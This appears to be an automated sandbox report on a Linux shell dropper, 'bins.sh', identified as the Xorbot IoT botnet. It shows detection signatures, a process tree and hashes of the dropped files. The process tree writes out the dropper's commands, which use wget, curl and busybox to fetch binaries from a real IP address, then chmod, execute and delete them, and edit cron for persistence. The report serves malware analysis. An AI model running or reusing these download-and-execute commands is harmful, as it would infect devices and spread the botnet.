Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    160s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    07/01/2025, 22:32

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250107-2fx23s1raz
  • SHA256 00691cae9d85abb860400b0a3d90507a2dbaa240de2bd273ebce63620c15000a
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1863) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:656
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:658
        • /usr/bin/wget
          wget http://66.63.187.225/bins/ClDrx62oPS4XUnGI7OM2sPfOIuj2f91Mlq
          2⤵
          • Writes file to tmp directory
          PID:659
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/ClDrx62oPS4XUnGI7OM2sPfOIuj2f91Mlq
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:685
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/ClDrx62oPS4XUnGI7OM2sPfOIuj2f91Mlq
          2⤵
          • Writes file to tmp directory
          PID:687
        • /bin/chmod
          chmod 777 ClDrx62oPS4XUnGI7OM2sPfOIuj2f91Mlq
          2⤵
          • File and Directory Permissions Modification
          PID:695
        • /tmp/ClDrx62oPS4XUnGI7OM2sPfOIuj2f91Mlq
          ./ClDrx62oPS4XUnGI7OM2sPfOIuj2f91Mlq
          2⤵
          • Executes dropped EXE
          PID:696
        • /bin/rm
          rm ClDrx62oPS4XUnGI7OM2sPfOIuj2f91Mlq
          2⤵
            PID:700
          • /usr/bin/wget
            wget http://66.63.187.225/bins/3hN6nkO9y9MHBoqZHAkQs99EjCtjGydsgM
            2⤵
            • Writes file to tmp directory
            PID:701
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/3hN6nkO9y9MHBoqZHAkQs99EjCtjGydsgM
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:724
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/3hN6nkO9y9MHBoqZHAkQs99EjCtjGydsgM
            2⤵
            • Writes file to tmp directory
            PID:742
          • /bin/chmod
            chmod 777 3hN6nkO9y9MHBoqZHAkQs99EjCtjGydsgM
            2⤵
            • File and Directory Permissions Modification
            PID:743
          • /tmp/3hN6nkO9y9MHBoqZHAkQs99EjCtjGydsgM
            ./3hN6nkO9y9MHBoqZHAkQs99EjCtjGydsgM
            2⤵
            • Executes dropped EXE
            PID:744
          • /bin/rm
            rm 3hN6nkO9y9MHBoqZHAkQs99EjCtjGydsgM
            2⤵
              PID:746
            • /usr/bin/wget
              wget http://66.63.187.225/bins/ErlOos0yAUlz2Ho5KyHEU9wZFJ1lL6PLfX
              2⤵
              • Writes file to tmp directory
              PID:747
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/ErlOos0yAUlz2Ho5KyHEU9wZFJ1lL6PLfX
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:759
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/ErlOos0yAUlz2Ho5KyHEU9wZFJ1lL6PLfX
              2⤵
              • Writes file to tmp directory
              PID:777
            • /bin/chmod
              chmod 777 ErlOos0yAUlz2Ho5KyHEU9wZFJ1lL6PLfX
              2⤵
              • File and Directory Permissions Modification
              PID:780
            • /tmp/ErlOos0yAUlz2Ho5KyHEU9wZFJ1lL6PLfX
              ./ErlOos0yAUlz2Ho5KyHEU9wZFJ1lL6PLfX
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:781
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:783
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:784
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:785
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        • Reads runtime system information
                        PID:786
                  • /bin/rm
                    rm ErlOos0yAUlz2Ho5KyHEU9wZFJ1lL6PLfX
                    2⤵
                      PID:788
                    • /usr/bin/wget
                      wget http://66.63.187.225/bins/s7zLZegP5d1SVQ851UGgI7sKT0EYgD0PmT
                      2⤵
                        PID:791

                    Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          3hN6nkO9y9MHBoqZHAkQs99EjCtjGydsgM
                          • Path /tmp/3hN6nkO9y9MHBoqZHAkQs99EjCtjGydsgM
                          • Size 98KB
                          • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          ClDrx62oPS4XUnGI7OM2sPfOIuj2f91Mlq
                          • Path /tmp/ClDrx62oPS4XUnGI7OM2sPfOIuj2f91Mlq
                          • Size 99KB
                          • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          ErlOos0yAUlz2Ho5KyHEU9wZFJ1lL6PLfX
                          • Path /tmp/ErlOos0yAUlz2Ho5KyHEU9wZFJ1lL6PLfX
                          • Size 177KB
                          • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          tmp.6CsoYC
                          • Path /var/spool/cron/crontabs/tmp.6CsoYC
                          • Size 210B
                          • SHA256 1a32f770cb46b1591b3bb819c737946a5019deda7e652b258fda792e53ef6b3b
                          • MD5 SHA1 SHA512
                          Submit Download